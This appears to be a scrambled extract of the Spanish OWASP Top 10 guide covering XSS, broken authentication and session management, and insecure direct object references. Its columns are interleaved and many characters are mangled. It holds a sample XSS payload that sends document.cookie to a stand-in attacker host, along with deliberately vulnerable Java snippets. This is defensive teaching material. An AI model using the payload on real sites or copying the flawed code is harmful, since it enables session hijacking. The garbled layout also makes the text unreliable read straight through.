Flash,  y  Silverlight,  lo  que  dificulta  la  detección   canonicalización  y  decodificación  es  también  recomendable  ya  que   ayuda  a  proteger  contra  XSS,  pero  no  es  una  defensa  completa  ya  que   automáDca.  Por  lo  tanto,  una  cobertura  completa  requiere  una  combinación   de  revisión  manual  de  código  y  testeo  manual  de  penetración,  además  de   muchas  aplicaciones  requieren  caracteres  especiales  en  sus  entradas.   cualquier  testeo  automáDco  en  uso.   Tal  validación  debería,  tanto  como  sea  posible,  decodificar  cualquier   entrada  codificada,  y  luego  validar  la  longitud,  caracteres,  formato,  y   Tecnologías  Web  2.0,  tales  como  AJAX,  dificultan  la  detección  de  XSS  a  través   cualquier  regla  de  negocio  en  dichos  datos  antes  de  aceptar  la  entrada.   de  herramientas  automaDzadas.   Ejemplos  de  escenarios  de  ataque   Referencias   La  aplicación  uDliza  datos  no  confiables  en  la  construcción  del  siguiente   OWASP   código  HTML  sin  validar  o  escapar  los  datos:   •   OWASP  XSS  PrevenDon  Cheat  Sheet      (String)  page  +=  "<input  name='creditcard'  type='TEXT‘      value='"  +  request.getParameter("CC")  +  "'>";   •   OWASP  Cross-­‐Site  ScripDng  ArDcle   El  atacante  modifica  el  parámetro  ‘CC’  en  el  navegador:   •   ESAPI  Project  Home  Page        '><script>document.locaBon=   •   ESAPI  Encoder  API      'hsp://www.asacker.com/cgi-­‐bin/cookie.cgi?   •   ASVS:  Output  Encoding/Escaping  Requirements  (V6)      foo='+document.cookie</script>'.   •   ASVS:  Input  ValidaDon  Requirements  (V5)   Esto  causa  que  el  idenDficador  de  sesión  de  la  vicDma  sea  enviado  al  siDo   web  del  atacante,  permiDendo  al  atacante  secuestrar  la  sesión  actual  del   •   TesDng  Guide:  1st  3  Chapters  on  Data  ValidaDon  TesDng   usuario.  Notar  que  los  atacantes  pueden  también  uDlizar  XSS  para  anular   •   OWASP  Code  Review  Guide:  Chapter  on  XSS  Review   cualquier  defensa  CSRF  que  la  aplicación  pueda  uDlizar.  Ver  A5  para   información  sobre  CSRF.   Externas   •   CWE  Entry  79  on  Cross-­‐Site  ScripDng   •   RSnake’s  XSS  AFack  Cheat  Sheet  
  • 9. A3   Pérdida  de  AutenBcación  y  GesBón  de  Sesiones          Vectores                        Deficiencias    Impactos   Impactos  en   Agentes     de  Ataque   de  Seguridad   Técnicos   el  negocio   de  amenaza   Explotación   Prevalencia   Detección   Impacto   __________   __________   MEDIA   COMUN   MEDIA   SEVERO   Considerar  atacantes   El  atacante  uDliza   Los  desarrolladores  a  menudo  crean  esquemas   Estas  vulnerabilidades   Considerar  el  valor  de   anónimos  externos,   filtraciones  o   propios  de  autenDcación  o  gesDón  de  las  sesiones,   podría  permiDr  que   negocio  de  los  datos   además  de  usuarios  con   vulnerabilidades  en  las   pero  conseguir  que  sean  correctos  es  complicado.   algunas  o  todas  las   afectados  o  funciones  de   sus  propias  cuentas,  que   funciones  de   Por  ello,  a  menudo  estos  esquemas  propios   cuentas  sean  atacadas.   la  aplicación.   podrían  intentar  robar   autenDcación  o  gesDón   conDenen  vulnerabilidades  en  las  secciones  de  cierre   Una  vez  el  ataque  resulte   cuentas  de  otros.   de  las  sesiones  (por   de  sesión,  gesDón  de  contraseñas,  Dempo  de   saDsfactorio,  el  atacante   También  considere  el   Considerar  también  a   ejemplo  cuentas   desconexión,  función  de  recordar  contraseña,   podría  realizar  cualquier   impacto  en  el  negocio  la   trabajadores  que  quieran   expuestas,  contraseñas,   pregunta  secreta,  actualización  de  cuenta,  etc.   acción  que  la  vícDma   exposición  pública  de  la   enmascarar  sus  acciones.   idenDficadores  de  sesión)   Encontrar  estas  vulnerabilidades  puede  ser  diwcil  por   pudiese.  Las  cuentas   vulnerabilidad.   para  hacerse  pasar  por   ser  única  cada  implementación.   privilegiadas  son  los   usuarios.   objeDvos  prioritarios.   ¿Soy  Vulnerable?   ¿Como  puedo  evitar  esto?   Los  primeros  acDvos  a  proteger  son  las  credenciales  y  los  idenDficadores  de   La  recomendación  principal  para  una  organización  es  facilitar  a  los   sesión.   desarrolladores:   1.  Un  único  conjunto  de  controles  de  autenBcación  fuerte  y  gesBón  de   sesiones.  Dichos  controles  deberán  conseguir:   1.  ¿Están  siempre  las  credenciales  protegidas  cuando  se  almacenan   a)  Reunir  todos  los  requisitos  de  gesDón  de  sesiones  y   uDlizando  un  hash  o  cifrado?  Consultar  el  punto  A7.     autenDcación  definidos  en  el   2.  ¿Se  pueden  adivinar  o  sobrescribir  las  credenciales  a  través  de   ApplicaDon  Security  VerificaDon  Standard  (ASVS)  de  OWASP,   funciones  débiles  de  gesDón  de  la  cuenta  (por  ejemplo,  registro  de   secciones  V2  (AutenDcación)  y  V3  (GesDón  de  sesiones).   b)  Tener  un  interfaz  simple  para  los  desarrolladores.  Considerar   usuarios,  cambiar  contraseñas,  recuperación  de  contraseñas,   ESAPI  AuthenDcator  y  las  APIs  de  usuario  como  buenos   idenDficadores  débiles  de  sesión)?   ejemplos  a  emular,  uDlizar  o  sobre  los  que  parDr.     3.  ¿Se  muestran  los  idenDficadores  de  sesión  en  la  dirección  URL?  (por   2.  Se  debe  hacer  especial  hincapié  en  evitar  vulnerabilidades  de  XSS  que   ejemplo,  re-­‐escritura  de  la  dirección)?   podrían  ser  uDlizadas  para  robar  idenDficadores  de  sesión.  Consultar  el   apartado  A2.     4.  ¿Son  los  idenDficadores  de  sesión  vulnerables  a  ataques  de  fijación   de  la  sesión?     5.  ¿Caducan  las  sesiones  y  pueden  los  usuarios  cerrar  sus  sesiones?   6.  ¿Se  rotan  los  idenDficadores  de  sesiones  después  de  una   autenDcación  correcta?   7.  ¿Se  envían  las  contraseñas,  idenDficadores  de  sesión  y  otras   credenciales  únicamente  mediante  conexiones  TLS?  Consultar  la   sección  A9.     Visitar  la  sección  de  requisitos  de  ASVS  V2  y  V3  para  más  detalles.   Referencias   Ejemplos  de  escenarios  de  ataque   Escenario  #1:  Aplicación  de  reserva  de  vuelos  que  soporta  re-­‐escritura  de   OWASP   direcciones  URL  poniendo  los  idenDficadores  de  sesión  en  la  propia  dirección:   Para  un  mayor  conjunto  de  requisitos  y  problemas  que  evitar  en  esta  área,   hsp://example.com/sale/ consultar  las   saleitems;jsessionid=2P0OC2JDPXM0OQSNDLPSKHCJUN2JV?dest=Hawaii   secciones  de  requisitos  de  ASVS  para  AutenDcación  (V2)  y  GesDón  de   Un  usuario  autenDcado  en  el  siDo  quiere  mostrar  la  venta  a  sus  amigos.  Envía   por  correo  electrónico  el  enlace  anterior,  sin  ser  consciente  de  que  está   Sesiones  (V3).   proporcionando  su  idenDficador  de  sesión.  Cuando  sus  amigos  uDlicen  el   anterior  enlace  uDlizarán  su  sesión  y  su  tarjeta  de  crédito.     •   OWASP  AuthenDcaDon  Cheat  Sheet   Escenario  #2:  No  se  establecen  correctamente  los  Dempos  de  desconexión  en   •   ESAPI  AuthenDcator  API   la  aplicación.  Un  usuario  uDliza  un  ordenador  público  para  acceder  al  siDo.  En   •   ESAPI  User  API   lugar  de  uDlizar  la  función  de  “Cerrar  sesión”,  cierra  la  pestaña  del  navegador   y  se  marcha.  Un  atacante  uDliza  el  mismo  navegador  al  cabo  de  una  hora,  y   •   OWASP  Development  Guide:  Chapter  on  AuthenDcaDon   ese  navegador  todavía  se  encuentra  autenDcado.     •   OWASP  TesDng  Guide:  Chapter  on  AuthenDcaDon   Escenario  #3:  Un  atacante  de  dentro  de  la  organización,  o  externo,  consigue   Externas   acceder  a  la  base  de  datos  de  contraseñas  del  sistema.  Las  contraseñas  de  los   usuarios  no  se  encuentran  cifradas,  mostrando  todas  las  contraseñas  en  claro   •   CWE  Entry  287  on  Improper  AuthenDcaDon   al  atacante.  
  • 10. A4   Referencia  Directa  Insegura  a  Objetos          Vectores                        Deficiencias    Impactos   Impactos  en   Agentes     de  Ataque   de  Seguridad   Técnicos   el  negocio   de  amenaza   Explotación   Prevalencia   Detección   Impacto   __________   __________   FACIL   COMUN   FACIL   MODERADO   Considerar  los  Dpos  de   Un  atacante,  como   Normalmente,  las  aplicaciones  uDlizan  el  nombre  o   Dichas  vulnerabilidades   Considerar  el  valor  de   usuarios  en  su  sistema.   usuario  autorizado  en  el   clave  actual  de  un  objeto  cuando  se  generan  las   pueden  comprometer   negocio  de  los  datos   ¿Existen  usuarios  que   sistema,  simplemente   páginas  web.  Las  aplicaciones  no  siempre  verifican   toda  la  información  que   afectados.   tengan  únicamente   modifica  el  valor  de  un   que  el  usuario  Dene  autorización  sobre  el  objeDvo.   pueda  ser  referida  por   acceso  parcial  a   parámetro  que  se  refiere   Esto  resulta  en  una  vulnerabilidad  de  referencia  de   parámetros.  A  menos   También  considere  el   determinados  Dpos  de   directamente  a  un  objeto   objetos  directos  inseguros.  Los  auditores  pueden   que  el  espacio  de   impacto  en  el  negocio  la   exposición  pública  de  la   datos  del  sistema?   del  sistema  a  otro  objeto   manipular  fácilmente  los  valores  del  parámetro  para   nombres  resulte  escaso,   vulnerabilidad   para  el  que  el  usuario  no   detectar  estas  vulnerabilidades  y  un  análisis  de   para  un  atacante  resulta   se  encuentra  autorizado.   código  mostraría  rápidamente  si  la  autorización  se   sencillo  acceder  a  todos   ¿Se  concede  el  acceso?     verifica  correctamente.     los  datos  disponibles  de   ese  Dpo.     ¿Soy  vulnerable?   ¿Como  puedo  evitar  esto?   La  mejor  manera  de  poder  comprobar  si  una  aplicación  es  vulnerable  a   Prevenir  referencias  inseguras  a  objetos  directos  requiere  seleccionar  una   referencias  inseguras  a  objetos  es  verificar  que  todas  las  referencias  a  objetos   manera  de  proteger  los  objetos  accesibles  por  cada  usuario  (por  ejemplo,   Denen  las  protecciones  apropiadas.  Para  conseguir  esto,  considerar:   idenDficadores  de  objeto,  nombres  de  fichero):   1.  para  referencias  directas  a  recursos  restringidos,  la  aplicación   1.  UBlizar  referencias  indirectas  por  usuario  o  sesión.  Esto  evitaría  que   necesitaría  verificar  si  el  usuario  está  autorizado  a  acceder  al  recurso   los  atacantes  accedieren  directamente  a  recursos  no  autorizados.  Por   en  concreto  que  solicita.   ejemplo,  en  vez  de  uDlizar  la  clave  del  recurso  de  base  de  datos,  se   podría  uDlizar  una  lista  de  6  recursos  que  uDlizase  los  números  del  1   2.  si  la  referencia  es  una  referencia  indirecta,  la  correspondencia  con  la   al  6  para  indicar  cuál  es  el  valor  elegido  por  el  usuario.  La  aplicación   referencia  directa  debe  ser  limitada  a  valores  autorizados  para  el   tendría  que  realizar  la  correlación  entre  la  referencia  indirecta  con  la   usuario  en  concreto.   clave  de  la  base  de  datos  correspondiente  en  el  servidor.  ESAPI  de   OWASP  incluye  relaciones  tanto  secuenciales  como  aleatorias  de   Un  análisis  del  código  de  la  aplicación  serviría  para  verificar  rápidamente  si   referencias  de  acceso  que  los  desarrolladores  pueden  uDlizar  para   dichas  propuestas  se  implementan  con  seguridad.  También  es  efecDvo   eliminar  las  referencias  directas  a  objetos.     realizar  comprobaciones  para  idenDficar  referencias  a  objetos  directos  y  si   estos  son  seguros.  Normalmente  las  herramientas  automáDcas  no  detectan   este  Dpo  vulnerabilidades  porque  no  son  capaces  de  reconocer  cuales   2.  Comprobar  el  acceso.  Cada  uso  de  una  referencia  directa  a  un  objeto   necesitan  protección  o  cuales  son  seguros  o  inseguros.     de  una  fuente  que  no  es  de  confianza  debe  incluir  una  comprobación   de  control  de  acceso  para  asegurar  que  el  usuario  está  autorizado  a   acceder  al  objeto  solicitado.   Ejemplos  de  escenarios  de  ataque   Referencias   La  aplicación  uDliza  datos  no  verificados  en  una  llamada  SQL  que  accede  a   OWASP   información  sobre  la  cuenta:   •   OWASP  Top  10-­‐2007  on  Insecure  Dir  Object  References   String  query  =  "SELECT  *  FROM  accts  WHERE  account  =  ?";   •   ESAPI  Access  Reference  Map  API      PreparedStatement  pstmt  =      connecBon.prepareStatement(query  ,  …  );   •   ESAPI  Access  Control  API  (See  isAuthorizedForData(),   isAuthorizedForFile(),  isAuthorizedForFuncBon()  )      pstmt.setString(  1,  request.getparameter("acct"));      ResultSet  results  =  pstmt.executeQuery(  );   Para  requisitos  adiciones  en  controles  de  acceso,  consultar  la   sección  de  requisitos  sobre  Control  de  Acceso  de  ASVS  (V4).   El  atacante  simplemente  modificaría  el  parámetro  “acct”  en  su  navegador   para  enviar  cualquier  número  de  cuenta  que  quiera.  Si  esta  acción  no  se   verifica,  el  atacante  podría  acceder  a  cualquier  cuenta  de  usuario,  en  vez  de  a   Externas   su  cuenta  de  cliente  correspondiente.   •   CWE  Entry  639  on  Insecure  Direct  Object  References   hsp://example.com/app/accountInfo?acct=notmyacct   •   CWE  Entry  22  on  Path  Traversal  (que  es  un  ejemplo  de  ataque  de   referencia  a  un  objeto  directo)